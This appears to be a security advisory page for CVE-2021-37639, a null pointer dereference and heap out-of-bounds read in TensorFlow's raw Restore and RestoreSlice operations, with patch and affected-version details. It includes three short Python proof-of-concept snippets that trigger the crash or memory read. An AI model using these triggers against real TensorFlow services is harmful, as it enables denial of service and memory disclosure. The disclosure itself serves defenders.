🛡️ CVE-2021-37639 — tensorflow
Description
Null pointer dereference and heap OOB read in operations restoring tensors
Impact
When restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:
```python
import tensorflow as tf
tf.raw_ops.Restore(
file_pattern=['/tmp'],
tensor_name=[],
default_value=21,
dt=tf.int,
preferred_shard=1)
```
The same undefined behavior can be triggered by tf.raw_ops.RestoreSlice:
```python
import tensorflow as tf
tf.raw_ops.RestoreSlice(
file_pattern=['/tmp'],
tensor_name=[],
shape_and_slice='2',
dt=inp.array([tf.int]),
preferred_shard=1)
```
Alternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:
```python
import tensorflow as tf
tf.raw_ops.Restore(
file_pattern=['/tmp'],
tensor_name=['x'],
default_value=21,
dt=tf.int,
preferred_shard=42)
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/save_restore_tensor.cc#L158-L159) retrieves the tensor list corresponding to the tensor_name user controlled input and immediately retrieves the tensor at the restoration index (controlled via preferred_shard argument). This occurs without validating that the provided list has enough values.
If the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.
Patches
We have patched the issue in GitHub commit [9e82dce6e6bd1f36a57e08fa85af213e2b2f2622](https://github.com/tensorflow/tensorflow/commit/9e82dce6e6bd1f36a57e08fa85af213e2b2f2622).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2021-37639 is classified as CWE-125: Out-of-bounds Read. The code reads past the limits of a buffer, exposing adjacent memory contents or crashing the process.
Affected software
CVE-2021-37639 is recorded against 3 packages.
- tensorflow
- tensorflow-cpu (from 2.5.0 up to 2.5.1)
- tensorflow-gpu (from 2.5.0 up to 2.5.1)
Timeline and source
Published on 6 March 2024 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.
References
Details
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| tensorflow | — | — |
| tensorflow-cpu | 2.5.0 | 2.5.1 |
| tensorflow-gpu | 2.5.0 | 2.5.1 |
References
Similar Threats
More CVE 2021 advisories
Browse all of CVE 2021 in the advisory index.
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